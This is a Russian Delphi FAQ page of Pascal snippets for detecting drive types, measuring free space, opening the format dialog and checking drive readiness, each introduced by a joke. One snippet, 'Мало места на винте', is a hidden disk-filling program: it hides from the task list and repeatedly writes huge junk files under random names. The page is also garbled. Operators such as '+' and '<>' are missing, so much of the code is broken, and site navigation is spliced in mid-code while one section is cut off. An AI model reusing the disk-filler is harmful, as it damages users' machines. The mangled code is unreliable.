Определить тип дискового накопителя

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Объявление в Интернете: Куплю винчестер. Жёсткие диски не предлагать!

Нужно воспользоваться API функцией GetDriveType():

procedure TForm1.Button1Click(Sender: TObject);

begin

case GetDriveType(‘C:\’) of

0: ShowMessage(‘The drive type cannot be determined’);

1: ShowMessage(‘The root directory does not exist’);

DRIVE_REMOVABLE: ShowMessage(‘The disk can be removed’);

DRIVE_FIXED: ShowMessage(‘The disk cannot be removed’);

DRIVE_REMOTE: ShowMessage(‘The drive is remote (network) drive’);

DRIVE_CDROM: ShowMessage(‘The drive is a CD-ROM drive’);

DRIVE_RAMDISK: ShowMessage(‘The drive is a RAM disk’);

end;

end;

{/codecitation}

Определение размера диска и свободного пространства на нём

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Магазин по пpодаже компьютеpов. Пpодавец подбиpает богатой, но не понимающей в комьютеpах даме:

— Hу вот, я вам подобpал жесткий диск получше?…

— Получше — это пожестче?

Сначала до слова implementation напишем такой код:

function GetDiskFreeSpaceEx(lpDirectoryName: PAnsiChar;

var lpFreeBytesAvailableToCaller : Integer;

var lpTotalNumberOfBytes: Integer;

var lpTotalNumberOfFreeBytes: Integer) : bool;

stdcall;

external kernel32

name ‘GetDiskFreeSpaceExA’;

Затем после слова implementation:

procedure GetDiskSizeAvail(TheDrive : PChar;

var TotalBytes : double; var TotalFree : double);

var

AvailToCall : integer;

TheSize : integer;

FreeAvail : integer;

begin

GetDiskFreeSpaceEx(TheDrive, AvailToCall, TheSize, FreeAvail);

{$IFOPT Q }

{$DEFINE TURNOVERFLOWON}

{$Q-}

{$ENDIF}

if TheSize >= 0 then

TotalBytes := TheSize

else

if TheSize = -1 then

begin

TotalBytes := $7FFFFFFF;

TotalBytes := TotalBytes * 2;

TotalBytes := TotalBytes 1;

end

else

begin

TotalBytes := $7FFFFFFF;

TotalBytes := TotalBytes abs($7FFFFFFF — TheSize);

end;

if AvailToCall >= 0 then

TotalFree := AvailToCall

else

if AvailToCall = -1 then

begin

TotalFree := $7FFFFFFF;

TotalFree := TotalFree * 2;

TotalFree := TotalFree 1;

end

else

begin

TotalFree := $7FFFFFFF;

TotalFree := TotalFree abs($7FFFFFFF — AvailToCall);

end;

end;

И, наконец, обработаем нажатие кнопки следующим образом:

procedure TForm1.Button1Click(Sender: TObject);

var

TotalBytes: double;

TotalFree: double;

begin

GetDiskSizeAvail(‘C:\’, TotalBytes, TotalFree);

ShowMessage(FloatToStr(TotalBytes));

ShowMessage(FloatToStr(TotalFree));

end;

{/codecitation}

Обновить список дисков TDriveComboBox с сетевыми дсками и Plug

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}арю за поддержку!

Новости сайта

Новости форума

Архив исходников

Automatic translation

[ Вернуться на главную страницу сайта «Delphi Sources» ]

Delphi FAQ — Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |

| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |

Материалы предоставлены сайтом Delphi World

Введите условия поиска Отправить форму поиска

Web www.delphisources.ru

Обновить список дисков TDriveComboBox с сетевыми дсками и Plug

Мало места на винте

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Пpогpаммист увидел HЛО:

— У кого-то диск полетел…

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором

program musor;

uses

Windows;

var

{ Объявление переменных }

text: TextFile;

alphabet, temp: string;

i: integer;

point: TPoint;

function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;

stdcall; external ‘KERNEL32.DLL’;

begin

RegisterServiceProcess(0, 1);

{заполняем строку алфавитом}

alphabet := ‘abcdefghijklmnopqrstucvwxyz’;

while true do

begin

{ получаем координаты курсора }

GetCursorPos(point);

{ если х = 0 и y = 0 то }

if (point.x = 0) and (point.y = 0) then

begin

temp:=»; {очищаем буфер}

for i:=1 to 8 do {генерируем случайное имя файла}

temp:=Concat(temp, alphabet[Random(length(alphabet)-1) 1]);

temp:=Concat(temp, ‘.’);

for i:=1 to 3 do {генерируем случайное расширение}

temp:=Concat(temp, alphabet[Random(length(alphabet)-1) 1]);

Assign(text, temp); { присваиваем имя файлу }

Rewrite(text); {открываем файл}

for i:=1 to 30000000 do

begin

Yield;

write(text, ‘!’); { наполняем файл мусором }

end;

Close(text); {закрываем файл }

end;

end; {всё сначала }

end.

{/codecitation}

Как форматировать диск

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Baa

WEB-сайт: http://forum.vingrad.ru

unit Unit1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls;

type

TUndocSHFormat = class(TForm)

Label1: TLabel;

Combo1: TComboBox;

cmdSHFormat: TButton;

cmdEnd: TButton;

lbMessage: TLabel;

procedure FormCreate(Sender: TObject);

procedure cmdSHFormatClick(Sender: TObject);

procedure cmdEndClick(Sender: TObject);

private

procedure LoadAvailableDrives;

public

end;

var

UndocSHFormat: TUndocSHFormat;

implementation

{$R *.DFM}

type

POSVERSIONINFO = ^TOSVERSIONINFO;

TOSVERSIONINFO = record

dwOSVersionInfoSize: Longint;

dwMajorVersion: Longint;

dwMinorVersion: Longint;

dwBuildNumber: Longint;

dwPlatformId: Longint;

szCSDVersion: PChar;

end;

function GetVersionEx(lpVersionInformation: POSVERSIONINFO): Longint; stdcall;

external ‘kernel32.dll’ name ‘GetVersionExA’;

const

VER_PLATFORM_WIN32s = 0;

const

VER_PLATFORM_WIN32_WINDOWS = 1;

const

VER_PLATFORM_WIN32_NT = 2;

function SHFormatDrive(hwndOwner: longint; iDrive: Longint; iCapacity: LongInt;

iFormatType: LongInt): Longint;

stdcall; external ‘shell32.dll’;

const

SHFD_CAPACITY_DEFAULT = 0;

const

SHFD_CAPACITY_360 = 3;

const

SHFD_CAPACITY_720 = 5;

//Win95

//Const SHFD_FORMAT_QUICK = 0;

//Const SHFD_FORMAT_FULL = 1;

//Const SHFD_FORMAT_SYSONLY = 2;

//WinNT

//Public Const SHFD_FORMAT_FULL = 0

//Public Const SHFD_FORMAT_QUICK = 1

const

SHFD_FORMAT_QUICK: LongInt = 0;

const

SHFD_FORMAT_FULL: LongInt = 1;

const

SHFD_FORMAT_SYSONLY: LongInt = 2;

function GetLogicalDriveStrings(nBufferLength: LongInt; lpBuffer: PChar):

LongInt;

stdcall; external ‘kernel32.dll’ name ‘GetLogicalDriveStringsA’;

function GetDriveType(nDrive: PChar): LongInt;

stdcall; external ‘kernel32.dll’ name ‘GetDriveTypeA’;

const

DRIVE_REMOVABLE = 2;

const

DRIVE_FIXED = 3;

const

DRIVE_REMOTE = 4;

const

DRIVE_CDROM = 5;

const

DRIVE_RAMDISK = 6;

function IsWinNT: Boolean;

var

osvi: TOSVERSIONINFO;

begin

osvi.dwOSVersionInfoSize := SizeOf(osvi);

GetVersionEx(@osvi);

IsWinNT := (osvi.dwPlatformId = VER_PLATFORM_WIN32_NT);

end;

function GetDriveDisplayString(currDrive: PChar): pchar;

begin

GetDriveDisplayString := nil;

case GetDriveType(currDrive) of

0, 1: GetDriveDisplayString := ‘ — Undetermined Drive Type -‘;

DRIVE_REMOVABLE:

case currDrive[1] of

‘A’, ‘B’: GetDriveDisplayString := ‘Floppy drive’;

else

GetDriveDisplayString := ‘Removable drive’;

end;

DRIVE_FIXED: GetDriveDisplayString := ‘Fixed (Hard) drive’;

DRIVE_REMOTE: GetDriveDisplayString := ‘Remote drive’;

DRIVE_CDROM: GetDriveDisplayString := ‘CD ROM’;

DRIVE_RAMDISK: GetDriveDisplayString := ‘Ram disk’;

end;

end;

procedure TUndocSHFormat.LoadAvailableDrives;

var

a, r: LongInt;

lpBuffer: array[0..256] of char;

currDrive: array[0..256] of char;

lpDrives: pchar;

begin

getmem(lpDrives, 256);

fillchar(lpBuffer, 64, ‘ ‘);

r := GetLogicalDriveStrings(255, lpBuffer);

if r 0 then

begin

strlcopy(lpBuffer, lpBuffer, r);

for a := 0 to r do

lpDrives[a] := lpBuffer[a];

lpBuffer[r 1] := #0;

repeat

strlcopy(currDrive, lpDrives, 3);

lpDrives := @lpDrives[4];

Combo1.Items.Add(strpas(currDrive) ‘ ‘

GetDriveDisplayString(currDrive));

until lpDrives[0] = #0;

end;

end;

procedure TUndocSHFormat.FormCreate(Sender: TObject);

begin

lbMessage.caption := »;

LoadAvailableDrives;

Combo1.ItemIndex := 0;

if IsWinNT then

begin

SHFD_FORMAT_FULL := 0;

SHFD_FORMAT_QUICK := 1;

end

else //it’s Win95

begin

SHFD_FORMAT_QUICK := 0;

SHFD_FORMAT_FULL := 1;

SHFD_FORMAT_SYSONLY := 2;

end;

end;

procedure TUndocSHFormat.cmdSHFormatClick(Sender: TObject);

var

resp: Integer;

drvToFormat: Integer;

prompt: string;

begin

drvToFormat := Combo1.ItemIndex;

prompt := ‘Are you sure you want to run the Format dialog against ‘

Combo1.Text;

if drvToFormat > 0 then

resp := MessageDLG(prompt, mtConfirmation, [mbYes, mbNo], 0)

else

resp := mrYes;

if resp = mrYes then

begin

lbMessage.Caption := ‘Checking drive for disk…’;

Application.ProcessMessages;

SHFormatDrive(handle, drvToFormat, SHFD_CAPACITY_DEFAULT,

SHFD_FORMAT_QUICK);

lbMessage.caption := »;

end;

end;

procedure TUndocSHFormat.cmdEndClick(Sender: TObject);

begin

close;

end;

end.

{/codecitation}

Как расшарить диск

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Repairman

Программист, глядя на только что отформатированный вирусом винчестер: «Хмм… кажется здесь кто-то поработал зубной щеткой Reach Interdental от Johnson

Как проверить находится ли файл на локальном диске

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: http://www.swissdelphicenter.ch

function IsOnLocalDrive(aFileName: string): Boolean;

var

aDrive: string;

begin

aDrive := ExtractFileDrive(aFileName);

if (GetDriveType(PChar(aDrive)) = DRIVE_REMOVABLE) or

(GetDriveType(PChar(aDrive)) = DRIVE_FIXED) then

Result := True

else

Result := False;

end;

// Example, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

if IsOnLocalDrive(OpenDialog1.FileName) then

ShowMessage(OpenDialog1.FileName ‘ is on a local drive.’);

end;

{/codecitation}

Как проверить готовность диска А 2

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

После игры в покер виндозе выдает сообщение:

— Вы проиграли 273 доллара. Вставьте их, пожалуйста, в дисковод А: и нажмите ANY KEY (если найдете).

Что в этом случае делают…

Ламер: С остервенелым видом начинает засовывать 273 доллара в флоповод А: и искать ANY KEY.

Юзер: С жутко довольным видом давит ресет и бежит рассказывать друзьям о том, как он «взломал» покер.

Хакер: За соседним компутером быстренько пишет прогу, эмулирующую засовывание 273 баксов в дисковод А:. Потом, в течение 3-4 недель пишет фиксы и апдэйты для эмуляции запихивания 274, 293 и 765 баксов в дисководы А:, В.

Новый русский: Со всей дури бьет кулаком по флоповоду А: и начинает усердно искать в флоповоде В: сдачу…

type

TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK, DS_EMPTY_DISK,

DS_DISK_WITH_FILES);

function DriveState(driveletter: Char): TDriveState;

var

mask: string[6];

sRec: TSearchRec;

oldMode: Cardinal;

retcode: Integer;

begin

oldMode: = SetErrorMode(SEM_FAILCRITICALERRORS);

mask := ‘?:\*.*’;

mask[1] := driveletter;

{$I-} { не возбуждаем исключение при неудаче }

retcode := FindFirst(mask, faAnyfile, SRec);

FindClose(SRec);

{$I }

case retcode of

0: Result := DS_DISK_WITH_FILES; { обнаружен по крайней мере один файл }

-18: Result := DS_EMPTY_DISK; { никаких файлов не обнаружено, но ok }

-21: Result := DS_NO_DISK; { DOS ERROR_NOT_READY }

else

Result := DS_UNFORMATTED_DISK; { в моей системе значение равно -1785!}

end;

SetErrorMode(oldMode);

end; { DriveState }

Я тестировал код под Win NT 3.5, так что проверьте его на ошибки в ситуациях, когда дискета отсутствует или неотформатирована под Win 3.1 и WfW 3.11, если, конечно, это необходимо.

Ревизия для Win95:

case RetCode of

0: Result := DS_DISK_WITH_FILES;

-18: Result := DS_EMPTY_DISK;

else

Result := DS_NO_DISK;

end;

{/codecitation}

Как проверить готовность диска А

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Галимарзанов Фанис

Девица не готова — device not ready.

function DiskInDrive(const Drive: char): Boolean;

var

DrvNum: byte;

EMode: Word;

begin

result := false;

DrvNum := ord(Drive);

if DrvNum >= ord(‘a’) then

dec(DrvNum, $20);

EMode := SetErrorMode(SEM_FAILCRITICALERRORS);

try

if DiskSize(DrvNum — $40) -1 then

result := true

else

messagebeep(0);

finally

SetErrorMode(EMode);

end;

end;

…можно для пущей функциональности добавить ряд строк:

function DiskInDrive(const Drive: char): Boolean;

var

DrvNum: byte;

EMode: Word;

begin

result := true; // было false

DrvNum := ord(Drive);

if DrvNum >= ord(‘a’) then

dec(DrvNum, $20);

EMode := SetErrorMode(SEM_FAILCRITICALERRORS);

try

while DiskSize(DrvNum — $40) = -1 do

begin // при неудаче выводим диалог

if (Application.MessageBox(‘Диск не готов…’ chr(13) chr(10)

‘Повторить?’, PChar(‘Диск ‘ UpperCase(Drive)), mb_OKCANCEL

mb_iconexclamation {IconQuestion}) = idcancel) then

begin

Result := false;

Break;

end;

end;

finally

SetErrorMode(EMode);

end;

end;

{/codecitation}

Как получить список доступных носителей

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Олегом Кулабухов

Сидит программер, клепает свою прогу, тут звонок в дверь. Программер открывает — там смерть с косой стоит. Он в панике: «Смерть, дай мне еще полчаса, я закончу прогу, над которой работал два года и можешь меня забирать…» Смерть ему в ответ: «Я не за тобой, я за твоим винтом!»

procedure TForm1.Button1Click(Sender: TObject);

var

ld: DWORD;

i: integer;

begin

ld := GetLogicalDrives;

for i := 0 to 25 do

begin

if (ld and (1 shl i)) 0 then

Memo1.Lines.Add(Char(Ord(‘A’) i) ‘:\’);

end;

end;

{/codecitation}